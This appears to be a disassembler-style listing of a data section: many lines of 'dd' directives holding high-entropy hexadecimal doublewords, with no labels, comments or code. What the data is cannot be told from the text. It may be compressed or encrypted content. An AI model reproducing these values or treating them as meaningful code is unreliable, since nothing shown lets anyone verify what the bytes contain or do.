dd 8704166Fh, 204E6546h, 0D7C0110Fh, 7191156Fh, 72072CA5h
dd 811C8458h, 0F0160271h, 0BDC87561h, 7A328082h, 8BAEBC83h
dd 1EE295B8h, 6E5C3A74h, 6C541847h, 512D9408h, 4A86A4FDh
dd 88B156Ah, 30818C85h, 44639824h, 0D029D101h, 0AF5054C2h
dd 3C313590h, 95A710BEh, 8E1AD442h, 438DC4C0h, 0F583481h
dd 985EDC42h, 103E7A2Ch, 0C421B6Bh, 3849DB31h, 1BA67404h
dd 40887255h, 94508084h, 4D8093FBh, 0D56601D4h, 17EB7FBDh
dd 0F7089DCFh, 33100D9Ah, 57AFA060h, 0E53D0372h, 235E91C6h
dd 14AC4029h, 0E2EF9C8Fh, 40E85D83h, 0A3895B00h, 0C27F88ACh
dd 90BFFA94h, 0B7433138h, 204F25E8h, 5490773Ch, 0A0DAD430h
dd 0D00D4634h, 0BBA0DCB0h, 3D126F05h, 1C04FF29h, 7804F017h
dd 78095B8h, 5C587550h, 0AC740678h, 0A890D57Eh, 0A044B448h
dd 33EF90DCh, 0B1B087AEh, 30267ABBh, 940734C5h, 16899C8Dh
dd 7C890260h, 0E756E5DCh, 8C8B3841h, 40915528h, 0D8E12435h
dd 0A64137Ch, 50A81418h, 18192E44h, 71404003h, 8271058h
dd 574DFE2Dh, 0C57FD100h, 29F55566h, 65BC61EFh, 5F4EC101h
dd 31D0403Eh, 2E81C5ADh, 6735308Ah, 0A708E0A4h, 0E628585Dh
dd 7326E8EEh, 1009A404h, 2F4404BDh, 857430C1h, 969344Ch
dd 1452CCB6h, 906CF024h, 0C297BC94h, 0A2635091h, 0E8DAE9D1h
dd 8A516888h, 0FCC4D402h, 5F096C2h, 42DB0F13h, 3EC846A6h
dd 748300Ah, 20343C90h, 1873489Ch, 409CF429h, 2DC85B69h
dd 1140AB61h, 644A99C9h, 48E6A303h, 98091C44h, 3494371h
dd 1680E040h, 118AB560h, 839E3020h, 0EA6766A8h, 80D13808h
dd 40C82196h, 0E2C14CABh, 29E8A420h, 4014B1C9h, 0D03E4BFAh
dd 0C45C3828h, 14825F73h, 30CC06A4h, 28229668h, 68B2F17Fh
dd 0F0BD4924h, 89D5A0Ch, 0AC40D0F2h, 572132B0h, 2C797820h
dd 9B985351h, 8AA4386Ch, 4DD10310h, 0A1D411Ch, 9C51B170h
dd 55F75060h, 4BEB9D10h, 4BF81116h, 5808A530h, 0DDE0E018h
dd 88241E78h, 1D707CE8h, 41A60896h, 9F165C3Bh, 0C3744C05h
dd 61F4E402h, 6AD086E1h, 0B38C3109h, 897F8920h, 5FE2E08h
dd 0CC81BDC4h, 0C4643594h, 0E86959E4h, 702CF726h, 432A0EFDh
dd 3119B069h, 30609A58h, 32140820h, 0B310AC9Fh, 0C32080C8h
dd 0EB988CB0h, 41DA31F1h, 853A7484h, 1F9CF470h, 0D49C405h
dd 0AA8B038h, 8A2A597Bh, 0EE910684h, 66E268B5h, 0B40EB4A7h
dd 5BE0E26Eh, 0D50041F9h, 99F012F3h, 51843895h, 9808B600h
dd 0C78F6B19h, 0CDC90079h, 0A66E1838h, 0E200FB32h, 8BAF2252h
dd 596763h, 0FA278497h, 5EF8CD24h, 0D814D974h, 8018686Dh
dd 0F157A01Ah, 758C108h, 718249A4h, 502C0CFCh, 5A9FF208h
dd 5467026Fh, 28B8A718h, 0B0F18F74h, 6147506Ah, 0F8A72B1Fh
dd 4AC10714h, 9501CE60h, 1B1A784h, 3C4C5D98h, 4EFA180Ch
dd 9187293Eh, 247878C2h, 2748386Eh, 281CE030h, 11D26BE7h
dd 0C01518A7h, 0C8C9B4CCh, 0E6A4A8C2h, 78A7570Bh, 195B9A03h
dd 50054E12h, 824A8027h, 5ED56470h, 0F3842A2Ch, 0B5CC15A0h
dd 80C13C82h, 10EB3D0Ch, 1F2ED367h, 40CD59ACh, 45A97882h
dd 0A461F9A6h, 969A9908h, 0B2F0188Eh, 31175885h, 0CC8E3128h
dd 4780DAA2h, 85A990B5h
dd 0A00581A0h, 82D474E1h, 0FD1FA728h, 7778B899h, 73C53018h
dd 0FE0487C9h, 0C0F09952h, 50E62371h, 35E780D7h, 5098692Bh
dd 2BD5AA83h, 0C7510AAFh, 503C8499h, 0F895A315h, 2778C033h
dd 389998FEh, 0D0860A31h, 58E08509h, 0FCD2531Bh, 0C3CE469Fh
dd 70041D3h, 0B9A66526h, 291DDC91h, 83187141h, 791BC742h
dd 4B679914h, 273807D8h, 30CAAF48h, 0CB83C6C3h, 47F1095Fh
dd 541C29C1h, 50FDCD05h, 0B444EBD5h, 908E14A2h, 78152B02h
dd 0A441767Fh, 23B5C187h, 75A380B8h, 0A8041B6Fh, 4815B3B4h
dd 0F1B0F8A7h, 4924CBB7h, 0C704541Dh, 7C8E2898h, 43D713Bh
dd 6B11F930h, 0F818DB08h, 8F080DB8h, 10296F0Bh, 32C3CD20h
dd 6300C4A7h, 56655380h, 0CF66DDh, 87706F6Dh, 0E42E3223h
dd 4D004A7Bh, 7939B42Dh, 1828EF1h, 2B98A9BCh, 30AE7FDDh
dd 6D00E572h, 0C2BF127Ah, 3F20653h, 49428A3Ah, 20E882C7h
dd 0C60009E7h, 0EC26D61Dh, 2F8EEF1h, 286A2C5Fh, 0CE81B6D7h
dd 0F4031D8Dh, 3430634Bh, 5002B972h, 7548FC4Ch, 6587003Ah
dd 9A2F84EAh, 3D00C18Fh, 0B92E43A1h, 1E05E02Dh, 4342214Bh
dd 0A05CD251h, 0D6C0FB88h, 8D728C00h, 9436B250h, 0CA700BDh
dd 69F4939h, 0F005852h, 83913B74h, 1C0990ACh, 80ED9255h
dd 4D9CEECCh, 0D500C732h, 0D1E44C9Fh, 1477B18Fh, 4B0BE10h
dd 83625180h, 0B157700Eh, 8D08A60Ch, 88500030h, 90F7F60Ch
dd 0E02113Eh, 0AFF12A6Ah, 21F081AAh, 18881075h, 0B3455676h
dd 2BE21844h, 74851B20h, 84249A88h, 24F31A28h, 0A712621h
dd 80C3EF7h, 2B454EBEh, 244A3C4Ah, 300A288Ah, 453CC208h
dd 0AE244829h, 9793FE67h, 40A080FCh, 57B20032h, 0D1069817h
dd 0A51C5911h, 2C589EBAh, 44235119h, 9C40723Ch, 6E20Bh
dd 8FF28481h, 4AD5F21h, 0EE0093B8h, 0CF714B8Ch, 6066D5E6h
dd 20BB6AFDh, 18D8B918h, 0D67220h, 0E7580C3Bh, 0A752B329h
dd 78513F20h, 69A401ABh, 0F42667ACh, 18B6DCD1h, 0FAE10F07h
dd 4157AF86h, 89FBC2D0h, 0BF820057h, 0B906D4A4h, 0B3F60C61h
dd 0FAE56017h, 0ED672B00h, 0A0284Ah, 1F3ED7BCh, 0B8BE2426h
dd 0E0399C0Ah, 6B404C21h, 0D688769Bh, 0F8B400D8h, 2941B51Dh
dd 0F7E4E314h, 0E6AB0084h, 0DEEC30BBh, 8CBF00E8h, 5E48BAC1h
dd 0E5007E0Dh, 0DA11880Eh, 0D340A5h, 0F0B9AF77h, 8321A95Fh
dd 0D6FE303Ah, 0DA43781Ch, 7D2E91CEh, 0F704F87Dh, 0C0081666h
dd 89A62FB2h, 0A1C08A52h, 0BBE86E3Dh, 0CDCA0EE4h, 0C100AE8Eh
dd 4A1B2FA3h, 0D63228C0h, 399287h, 0EBE5E681h, 93F03FA9h
dd 9CECC500h, 5ED7301h, 55CAC69h, 0EE4F81AAh, 29F6829Fh
dd 0FA3E1A40h, 67F1DB01h, 0AF7032A5h, 7DD41ECh, 71FDE7F9h
dd 0FC108036h, 0AC183D5Ah, 31892C79h, 0B4CA636Dh, 81C4572Fh
dd 0C4662410h, 0DD304403h, 0AE3D292Eh, 3C9174B3h, 0D7033B0Bh
dd 0F0CCA4DBh, 4AED7CC1h, 77EC8058h, 0F6EB376Dh, 68E10072h
dd 0BFA8BB2Eh, 840024ACh, 0EA5DFA8Eh, 8BAE4Ah, 0BE199585h
dd 2BAB3120h, 83693E00h, 0FA8906BAh, 0D71E07A2h, 0B0AE50ADh
dd 4C22B893h, 0F097D507h, 0F850BF48h, 144ADE2h, 0D85F4533h
dd 0E0AE5AD3h, 853A7DB3h, 0FA1C7A57h, 753CC4B5h, 31D70630h
dd 0F96E654h, 958CF5FBh, 5B7608C3h, 8F1CC0C8h, 9D0047FCh
dd 0C540E139h, 0DE5CBBh, 64A20444h, 692D535Bh, 821CDB0Eh
dd 1F8563C6h, 0D8790346h, 2D2F73C9h, 9D5B10D8h, 0A7B0AA07h
dd 2490493Ah, 3C4ADDEh, 0FB645C57h, 900DDFD5h, 409260B6h
dd 0F930E0h, 0B84BC1ECh, 0A7ADD8B9h, 7A1CC7B8h, 0A9054A9Ch
dd 0AC2BE588h, 9E49F7C0h, 57000D4Ah, 2BA786Eh, 0A832DAh
dd 0D5CB0FC5h, 9FF52D46h, 4733CA00h, 0BD5984EBh, 5B6EEAEh
dd 6C0D10E0h, 15447BBAh, 384C68Ch, 0C8E240D4h, 981C9028h
dd 52B0013h, 0D70EB2F3h, 0F21D45ACh, 1ECF540Fh, 0BA112007h
dd 3CCDAF5Eh, 339DC6ABh, 62380E7h, 0F6A8384h, 0A38B6900h
dd 57A616ADh, 7C6E00B2h, 0E400A21h, 5A37F12Fh, 0C07330ABh
dd 44910AA3h, 0C1E7EFh, 0B39F66CEh, 0CA05498Ah, 47EA12BCh
dd 96628470h, 0FF433CA5h, 0D724F787h, 0FB640D8h, 0A2025621h
dd 0EBDD3C9Bh, 53B62D2h, 0B9001084h, 5E8A81ADh, 0E9381C99h
dd 0DD3E86B7h, 0B30080D2h, 80ACD5CCh, 0ECE75962h, 45C8006Ah
dd 35C9225Eh, 0D0A4C6D8h, 0AC93F30Fh, 0E4EF2023h, 9151EE47h
dd 0B4765E64h, 71CE4000h, 5CADC80Eh, 0F00F1F1Ch, 0C0E1DE51h
dd 0C1E4488Eh, 930716BEh, 7BCFB59Eh, 0EB69631h, 92AC0C22h
dd 0D929AC30h, 91FCB536h, 28170004h, 0C44DC973h, 89533B14h
dd 1907AFFCh, 40605893h, 0FF57467Ah, 0F5565B00h, 23BF8840h
dd 5A30047h, 7EB832EDh, 0BB02A6C6h, 6AF8F6CEh, 60B86057h
dd 0E85C051Fh, 0A28C5Bh, 43DB84BCh, 8F7DA9EDh, 59734500h
dd 9A0117E4h, 0A2AF015Dh, 8C39037Ch, 0D754D0A1h, 1DF1BC1Dh
dd 60206FFEh, 8C40D063h, 0DC0B02F2h, 83D2C5Fh, 2DC7D321h
dd 6365A0E0h, 2B4C108Fh, 8F9D37C1h, 2346D21h, 8011EEh
dd 307F2DC4h, 2E5C20A0h, 6840F3F0h, 796B60A4h, 1DE3664Dh
dd 0F0545E30h, 0BC0CFFh, 366CFABBh, 3B03E0F5h, 0FC1D3Fh
dd 0BEEA1710h, 1A2B5CBh, 0CE4767E5h, 0C8E72760h, 53000118h
dd 0B858E8D7h, 0A8BC6366h, 0A5E499Ch, 0A864B5F5h, 363A0684h
dd 0DB164012h, 0C6008F92h, 2ECF555h, 0B3C30BAh, 1EF9E448h
dd 0E3D94D06h, 0F0B0A032h, 3BE8075Eh, 316A9636h, 0E00C9752h
dd 8F342609h, 0E41C49D7h, 0DB0D7112h, 6BCF0AFh, 0CA170F09h
dd 0AE8C348Ch, 51907B60h, 0BEEE3h, 8CAC5E9Fh, 3BD51315h
dd 6100C4E2h, 0AF57F6F1h, 382697E7h, 4F0EA2B6h, 62A06E2Eh
dd 0C22B788Ch, 0DD457E00h, 0F1FAE27Ch, 1C95036Ah, 0EE233165h
dd 6346C4E0h, 7BA838h, 95044C7Eh, 3EDAC2h, 541A5EA3h, 92CC5298h
dd 49884700h, 0E001651Dh, 26DB00F0h, 150AA859h, 0FD00417Dh
dd 30739563h, 256085h, 8C1A1E79h, 0AF7A9753h, 49213400h
dd 51A68D62h, 0BBE2D0h, 9A4DB41Bh, 180AB26Ah, 0C60FDAEEh
dd 0AAA8CAh, 4D61FB7Fh, 74CB00A5h, 35454996h, 2B07D38Ah
dd 9B3A4838h, 3227F870h, 82E60041h, 87547C8Ch, 0D1038BA1h
dd 0D36D1BF7h, 1F2FC88Ah, 0A7B400F1h, 397E2AECh, 2603DC50h
dd 0D9030938h, 9171F0FBh, 1E370002h, 0B01DAE14h, 643C0477h
dd 860B00B6h, 85719395h, 0C4220F72h, 5141B273h, 47FD1987h
dd 4755A3C2h, 0F6CD9890h, 7A63BB00h, 0AF728392h, 7F4C0010h
dd 11D4C19Ch, 0BD00986Dh, 51CA78F6h, 13AADD1h, 0D580AE55h
dd 0C73C84B9h, 0DCDE1100h, 52E0E2Fh, 4D30300Bh, 0E4950D19h
dd 3E167C0Fh, 9A2EC00Ch, 0F056AAh, 0B44449EEh, 0B0C6D7D1h
dd 0DA03E9E6h, 11571EDBh, 5831F07Ah, 0E3C9863h, 0E2608694h
dd 1C355660h, 0C70037B2h, 49FA1DFBh, 3CBD5513h, 0BE80B963h
dd 0B116946Eh, 0EC00F01Fh, 0B81DC920h, 31E25382h, 4C44E559h
dd 0F958C4EBh, 1DB0A400h, 3257FDD4h, 0ABAA0EE0h, 71C0604Ah
dd 5CCA0159h, 4BCEFA00h, 0E8B03038h, 7F3F25Ah, 0DB89215h
dd 0E3BD017Dh, 3BE9DC39h, 5B03800h, 19B35806h, 28A9002Fh
dd 7596E2EFh, 2403E97Ah, 0D93D908Ch, 68AFD06Ah, 0E83400E0h
dd 39214683h, 7300AA62h, 2EE3163Dh, 604FDDh, 0BD570A1Bh
dd 0EAC9611Ah, 1397258h, 0B676F238h, 1880F801h, 0AFCD7046h
dd 210F9E50h
dd 3C99ABB3h, 398F2400h, 24B96FE4h, 2747CAh, 0FF95C107h
dd 6600938Ch, 3B257E54h, 0E8BE27D6h, 0A6C30181h, 0ACDABBC1h
dd 3E3E20FBh, 37D8C801h, 555E771h, 51A3FCh, 127B402Ah
dd 6FB36D14h, 0EBD79300h, 3DB0BDE1h, 39430029h, 0BB51039Eh
dd 0EF00078Eh, 4908BA2h, 39422E9h, 91D2681Ah, 56C0ACC7h
dd 6B002B2Ah, 0F8496090h, 634731h, 0E083C3A4h, 0DAD41033h
dd 966BE700h, 8B6544BEh, 0AC180026h, 14C86D27h, 13001C71h
dd 5EBF75C9h, 8A3336h, 4469C06Eh, 381198A1h, 0A345B900h
dd 7A78347Eh, 5B090F0Fh, 0B020EA25h, 0F5E3BB41h, 43E45103h
dd 0E9761E29h, 88E423F9h, 0C1DE00AFh, 158D1037h, 0F1072DB1h
dd 71673139h, 9D850290h, 0EF050791h, 0A0C7154Ch, 28794BFCh
dd 90B30800h, 9217A4DDh, 0E9B403BAh, 0D6FAA777h, 6FF607E0h
dd 0AB5FC700h, 5E4B42CEh, 0B3710306h, 98C86B7Ah, 8E8D60D7h
dd 0B400F227h, 0CD59862Bh, 0D7DE47h, 933E2462h, 4918B2DFh
dd 0FBEE6CF2h, 0C5F63500h, 2F258AD4h, 845201CEh, 0A7A4B855h
dd 350DE02Eh, 0E3004B7Eh, 0E9F2BE76h, 493D6FCh, 0ED85BDE0h
dd 54E9C039h, 0D20F7F5Dh, 0C7DB1D5Eh, 0A62035FAh, 282ADFh
dd 78BE930Eh, 0C1983CC8h, 0BD4CB800h, 0A39A46A4h, 0D8FD3FA5h
dd 8ACB7400h, 3EF68258h, 0FA760509h, 6E50179h, 7E6138CEh
dd 0E058D0h, 52395A77h, 0F9BA78DCh, 0F1607D00h, 0BB0BC014h
dd 0C1C20315h, 3AFEE040h, 5E5BA5C8h, 9F94D500h, 0DC6342EFh
dd 0BAAF005Ch, 20D2114Eh, 0EA00B9DEh, 28F80D55h, 7E32C37h
dd 0D7A852B3h, 4ED440C9h, 1F00C4BEh, 61C5D80Ah, 7CD351h
dd 0AC592B91h, 9E7731CAh, 2E12A1Ch, 0F39CC843h, 297B5Fh
dd 0EA19070Dh, 5D450AB4h, 0FC7AC400h, 6F1E7C16h, 0B8C528F3h
dd 3F1A3CF7h, 0CF3C6600h, 0C1A85F49h, 3AD2DE00h, 0C8FF70F3h
dd 587B011Bh, 5AB164A3h, 0E8E5E47Ah, 87C4BB00h, 0E13ACB4h
dd 0B3DD009Dh, 39813EAEh, 3003DBDh, 0C6D952B9h, 2C409387h
dd 82FEA1h, 0CFBC4772h, 9F003312h, 8C447D1Bh, 0E97304Fh
dd 314EBFAAh, 675DE440h, 777E490Dh, 0C103D700h, 577DAD16h
dd 50430040h, 15972CD0h, 3700937Fh, 0C0DE7EB3h, 20566Ah
dd 0F0A96F48h, 0D7212625h, 2E530900h, 8A1858E1h, 2CC2F64Ah
dd 39850ACh, 0A76A9F29h, 7563508Fh, 0B100D974h, 0E1328D36h
dd 0B7807Eh, 0A30A247Dh, 46ECDFE5h, 7F73453Bh, 86A16B00h
dd 271DFCF8h, 122F03E0h, 0F5D7E459h, 2E20B898h, 1900BBF0h
dd 88F1C1F3h, 0E073579h, 8953C478h, 66822A40h, 0D00E0EEh
dd 0FD84899h, 3C16D34h, 286BA514h, 24B04C07h, 0D30088A3h
dd 0A74B7C01h, 3AA1C836h, 7D80AE9Fh, 15177689h, 0AC00E0AFh
dd 0A437EA5Fh, 2B57B6Bh, 243451B8h, 80DD8D4Eh, 5F2DEB98h
dd 41FE0058h, 68C3FC8h, 7E1CFBA3h, 970EA77Dh, 0FF7B40F2h
dd 39F5BC0Ah, 7F000705h, 0FC441EEFh, 0E5008A86h, 2F76D552h
dd 1B96599h, 0D358D20Bh, 0D853F9F7h, 80006DC4h, 48978357h
dd 0F2DE3D77h, 29266065h, 3442C10Bh, 9FCE9003h, 0AA207163h
dd 24AFC045h, 0E0C8E066h, 0D7D50043h, 0C2A25A59h, 57022D7Bh
dd 6C0DC910h, 328E60E8h, 7524982Eh, 1FCE003Dh, 50EDB236h
dd 2178F1C2h, 1A7110Fh, 735B603Ah, 0AECFD3h, 0F27F08D6h
dd 5760ABEAh, 0A9C57900h, 3CD1D05Fh, 21CD00BCh, 14442FB4h
dd 0BA768F3Dh, 45608A7Fh, 0BE29DD10h, 0BFCCC0F3h, 5DEB899Dh
dd 9F37620Ch, 790B844h, 0FCCB43E5h, 886CF09Eh, 50036E3h
dd 0A4A9F13Ah, 734EEE4h, 2541AD9Ah, 2EF4909Bh, 0A003398h
dd 0CA36E0A2h, 50891Fh, 257F0CB4h, 0FE0B036Ch, 17E40202h
dd 0C0C7BDD5h, 1F95AA9h, 0F007AF08h, 0D485CE2Ch, 0D400F506h
dd 0D7DB7D91h, 0C59526Dh, 4A5E474Eh, 0DE00BFC0h, 0EE1EF595h
dd 1B6A9F0h, 0D079BD3Bh, 30EA20C0h, 7200C12Fh, 96DE4094h
dd 778555h, 0B8AB87B3h, 85DEFF4h, 959DA05h, 0BC07E2C4h
dd 6F101090h, 3E3F56D0h, 0DE50BEDCh, 0AAC50A83h, 8C4E9Eh
dd 13C14592h, 9870F1A3h, 0B1883214h, 0E9F700F9h, 0F982D9ADh
dd 631300F3h, 0FC7FEE47h, 9700D702h, 6CCB0BECh, 261A570Dh
dd 68991Bh, 0DA69FFADh, 0C6488009h, 6A76026Ch, 0C06C4CD0h
dd 0B41E50h, 39FFA57h, 0A0EBF9D2h, 10E41D28h, 46FE3614h
dd 80763AE0h, 0AA2571FAh, 7C970ADh, 77B56728h, 0E86B00DCh
dd 0AC00A6CDh, 0FCBC8C8Dh, 18FBD052h, 40A47CFFh, 567BA89Dh
dd 0B6037D74h, 0A5FE0B2h, 0C1680077h, 0F23F867h, 6D007370h
dd 63D4F7B1h, 7F3441h, 4B320356h, 0F87AE3C6h, 0B77FFBE2h
dd 0B6C759C0h, 1ECE8291h, 0CA0501h, 7CF531B2h, 13039DF7h
dd 5B6876A8h, 19F49062h, 0C751E56h, 0BBB3C0ECh, 7AB2F84Ch
dd 0DE4BE0C2h, 0BDE48086h, 6FFEB434h, 801F385Bh, 37D57D69h
dd 1C0F9361h, 906085F3h, 32173903h, 0A00040BCh, 0FE16ABE9h
dd 6DD26C78h, 1B60696Eh, 0EAB60004h, 0F7393242h, 4BF3010Eh
dd 0DC9C0360h, 0B20806Fh, 0EA71E97Fh, 0B7260CBFh, 0BE08BD37h
dd 2B206367h, 0EC72E920h, 64D6001Ch, 9AA736EAh, 0E6074668h
dd 0AE0C3709h, 0CB2FEC70h, 49071564h, 0B200EC55h, 74E9CF9Fh
dd 53711697h, 0FBF7C102h, 8CEA9EC8h, 5132982h, 0AA218AC0h
dd 1D4A81D5h, 398C4377h, 0C2082100h, 0D9AC391h, 839B0719h
dd 0B0281D6Dh, 0A14A63CDh, 6042A401h, 49298961h, 8ABF2C50h
dd 0CDAB1048h, 0BB56C86Ch, 4C906F00h, 85B01C9Ch, 41A1CF19h
dd 5048E049h, 0D78A04C6h, 319658DBh, 3E007B0Ah, 0D7591C8h
dd 0D28CE900h, 0C6BF4868h, 0F4665006h, 0C75F2A57h, 849801B8h
dd 3E99B42Ah, 3618596h, 0ECD7492Dh, 0A27BC683h, 0A4090ECh
dd 0AA2B0890h, 5A586B05h, 0DC9000EEh, 649E9CBAh, 0F7D8D6Ch
dd 0A81AD500h, 0FC7718C3h, 28E001Fh, 0CC3D467Ch, 0B21EE278h
dd 782423EFh, 1E519683h, 50D0E8A7h, 86A1DC9h, 408E1657h
dd 29F9B35Ch, 272E0980h, 390C72D1h, 18579276h, 0E1779A6Ch
dd 89AC5F5h, 4665F0F5h, 0D7F2B400h, 2BB52A6Bh, 190F0E96h
dd 9EC32CC9h, 80404779h, 0A14818BCh, 0E82EC04Ch, 8C34FCB8h
dd 0B5EBAB00h, 0D9F39A7Ah, 0E84204B8h, 90587778h, 633E849Ch
dd 467DFE04h, 9485A7FCh, 68F4BC27h, 0C684DA01h, 0A4B04C48h
dd 0DBD59004h, 653370A8h, 0F8642103h, 8B13428Ah, 0E032C251h
dd 14B2D86Eh, 0A041F5F9h, 0BBE4819Ch, 0C558068h, 4225888Ch
dd 59A7E400h, 8419C582h, 954532ABh, 586903A8h, 58B1B21Ah
dd 96402099h, 4B26AEBCh, 66003EFEh, 21F27CCh, 0E01890B6h
dd 192800B8h, 8B65A8E7h, 0D93C84E8h, 30B5A612h, 0EC057481h
dd 9CC402D5h, 62F300EAh, 6E0D738Bh, 0AD008FFAh, 7D2BA13h
dd 317112E3h, 0F9912E4Bh, 3BC2EC33h, 88FBE600h, 0EF2DB610h
dd 0FF22046Dh, 0D242A1E4h, 77E005E8h, 2BFC89BAh, 25D7D007h
dd 6892A6Ah, 15883D5Ch, 0F0D26B57h, 43CC4B0Fh, 55500F63h
dd 20489EE2h, 0D709FDD4h, 41B793h, 1D1BC0A1h, 98F4E822h
dd 0A824A360h, 75CAB8h, 87CE6967h, 456C3D4Dh, 0B939FC30h
dd 0F2289E9h, 0C4C91A9Dh, 916927A0h, 0A512A466h, 5040BF49h
dd 200956A6h, 0EE58009Eh, 0E905DE15h, 0F00125D1h, 6477460Ah
dd 89FD7FA7h, 61E25832h, 9F8D30h, 0D733FECEh, 3702091Eh
dd 71A60F00h, 1795E424h, 0A3E326E7h, 59302138h, 7051856h
dd 36C00D2Bh, 0EC0049FBh
dd 0F4F73229h, 6A08F499h, 0E938609Fh, 2421FCBAh, 1F1C6025h
dd 0FAE858DDh, 3B7C5300h, 0FDED46EEh, 6AD001B0h, 9E0D415Ah
dd 0CFF8507Bh, 951EE5E1h, 6980CD0Eh, 0E29B14A1h, 0FB8C3D3Ch
dd 0D1D21E00h, 38500702h, 0DA853A00h, 483C77E4h, 47F8CAh
dd 0A8DE3F52h, 6C33C63Bh, 198C059h, 7B800671h, 0C988128Fh
dd 0D5609CF9h, 0FCBFD9h, 0A09ED3CCh, 3CA178FAh, 62C82000h
dd 5D95E94Bh, 9F190774h, 0C08C7BD4h, 0A9F785C0h, 0DFC9700h
dd 0E68251A8h, 7BEC002Dh, 7971331Fh, 5402258Ch, 0DD6CC3A7h
dd 0ECB78102h, 589D295Ah, 0A586CE79h, 88D9B500h, 18C32757h
dd 0EBA6B8D3h, 1E10F64Ah, 45C51299h, 39D4056Ah, 348CFC50h
dd 0FB308400h, 1AA6777Fh, 0BBA053Bh, 0BE0798BEh, 7379BC1Bh
dd 13E8C0h, 0D133936Fh, 0E87B0D2h, 0E5003DECh, 53E48EAAh
dd 7328C9Eh, 92E644F1h, 55C880E9h, 0C700731Fh, 864C56DAh
dd 7BAC947h, 0B415CC5Ah, 105CC076h, 3BFA8D40h, 0B558C805h
dd 8800F79Fh, 3213AA2Ch, 3F8303A6h, 4173A05Bh, 80EE0DA1h
dd 0CE8EF220h, 2CAD7FC5h, 0EF14D0h, 3100749h, 9F009CDBh
dd 13D7F40Ch, 6FC305CDh, 0A1E58892h, 29B8433Fh, 0E03F761Ch
dd 0E1388562h, 0A44703E7h, 0ADC20A79h, 0AB48A0B6h, 10A63F13h
dd 884A85BBh, 83DF802Bh, 50F7A5CCh, 1D233A02h, 81DDD280h
dd 78DE5DD0h, 725CF5C4h, 6D1C1462h, 6A00F432h, 0FF3AE44Ch
dd 873A709Fh, 0A938003Eh, 55CD3161h, 0B891604Fh, 0E8EA4560h
dd 0C59EEB07h, 40C6766Fh, 0B06803C9h, 43BF6C1Ch, 6182BA80h
dd 4F37FB74h, 0B2702070h, 0B0134007h, 481A01EFh, 0A7387BCBh
dd 7720808Bh, 9C728A76h, 0C1490A87h, 91807120h, 0CE819EB3h
dd 874BB12Bh, 0DC40CA0Ch, 101100F5h, 0D5CD6B7h, 0F61A470Bh
dd 86D85D15h, 3049BAF9h, 7E08ED30h, 9D37235Eh, 2A56499Ch
dd 34AE00D1h, 6194D629h, 0C33AFEA5h, 549F05BFh, 4808417h
dd 18D6E2BAh, 0A040D3B4h, 2009A5Eh, 0C25B3D1Dh, 24D0E8h
dd 0A08B581h, 656A9654h, 0DD6D1700h, 1EBF8FDBh, 583901EBh
dd 0CB7402D7h, 0EEC5C8B7h, 0EF00B37Fh, 69D3D9Ch, 1BD7FCBCh
dd 0C820F777h, 5447FDE0h, 3D4C8601h, 0ADA6C3FBh, 0FCA2D9ECh
dd 50BD015Bh, 6EAFF716h, 0F4D0587Ah, 0D0600704h, 452CFAEDh
dd 3A06D600h, 0C05D965Bh, 0FFA24C1h, 3F94A04Ch, 0E2012448h
dd 0A1926FC4h, 1D202356h, 0D540A341h, 0B6E6F4F3h, 0D3B5017Dh
dd 306FEEC0h, 824034C7h, 12448507h, 34B0E9BAh, 0E83FA050h
dd 5D21C0E4h, 0DC7427Eh, 0A84C1400h, 41A24D0Ah, 31290095h
dd 0B4E9C063h, 4491AAD9h, 0AA607C44h, 0D0107E1Ch, 73B08DBDh
dd 6F1C07ACh, 0B4819388h, 225164EFh, 4C04C440h, 81D302Ah
dd 0C95468F9h, 248C3C48h, 1BE540Ah, 4DFC07C6h, 10935E9Ah
dd 2D1860D7h, 0B1103D06h, 10DF3AABh, 0A5C900DCh, 0A78E7013h
dd 2417311Ah, 31A46A78h, 56D08260h, 4232660Ch, 0E2AC00B8h
dd 0F8B4C608h, 99EF6B0h, 0A4EE19D9h, 88C7BC90h, 966B0486h
dd 0C42D6AB6h, 27BC88B8h, 60B940h, 5ADC95DEh, 1759AABBh
dd 0BA24892h, 8650EC02h, 58EA498h, 93BF1204h, 7521B5E5h
dd 0E0370065h, 0FCD6011Ch, 0CE48E1C1h, 0C89FE412h, 73D81115h
dd 0B2B61F88h, 0BA0460C0h, 206761h, 6B5CFEADh, 34A2E764h
dd 0D0B41834h, 0D72F3480h, 0E3DA12C6h, 5E3C20B8h, 882C8A7Dh
dd 0E740645Dh, 2528C6h, 0E4025B01h, 8AA47DEDh, 0F1F830FDh
dd 78FB400h, 0D00B1777h, 32AA05DCh, 0D4C901h, 0D8CF82B0h
dd 16790AE8h, 2C55D109h, 482C00D7h, 0DCEE4C66h, 0C7770058h
dd 0B067812Bh, 2144D898h, 89D36730h, 8E59E083h, 0C7001B7Fh
dd 0DA0CFF90h, 0CEA855h, 459AD988h, 0A79D8323h, 0D308E400h
dd 0E591A141h, 671F0035h, 0C07F4718h, 390343EBh, 234D4BAFh
dd 0C3508195h, 12DB1824h, 2647C5Dh, 8FBF88F0h, 57A88C80h
dd 7600F4FFh, 0BE7F052Ah, 3E4BD002h, 0B48026D7h, 0CAFE62E3h
dd 0EB30DD84h, 80AF8EFh, 0BE60C04Ah, 49AD6B8Ch, 4085D601h
dd 75E5C061h, 2515B03Bh, 0A7E18E0Eh, 86DA2009h, 6515274h
dd 36B23A98h, 355718A4h, 0BCF804h, 0D89E70C9h, 0B8B90AF8h
dd 7F88F4A0h, 0C5F9A403h, 0C1ACB94h, 3D459130h, 9DF008D0h
dd 3607B3E8h, 3EB5CB1Eh, 0E83F9C8h, 32672683h, 0B6296000h
dd 0B2A378Eh, 784C7B02h, 0BFE505C3h, 421989D9h, 3874830Ch
dd 13278B22h, 1882B8CAh, 2710306Bh, 0FA0CA08Fh, 2B218424h
dd 0D1913D04h, 308F2A99h, 0CC58A28h, 0EC48D354h, 0CB718A9h
dd 0AF7C22CBh, 970C6354h, 0BB18CE50h, 962A7642h, 245F570Ch
dd 21C2D1C4h, 4841B9B3h, 18427DE0h, 0E70CA597h, 651B1848h
dd 70C488Ch, 9C306765h, 88E1248Bh, 30842252h, 5B90776Fh
dd 3910C3B9h, 0CA63042Ch, 1804BEA0h, 7F75147h, 891204h
dd 2277FB7Dh, 22ED0Eh, 1F886700h, 0D60CA74Fh, 0F42E3700h
dd 6B2F9FCBh, 0D07005Fh, 0A34E30A1h, 0B016C08h, 0DE718A70h
dd 2424120Eh, 464A0C5Ah, 0C5A02633h, 98A888EAh, 763056B6h
dd 0B8671886h, 82370005h, 99C0B0FCh, 0DB817C6h, 0A10FC431h
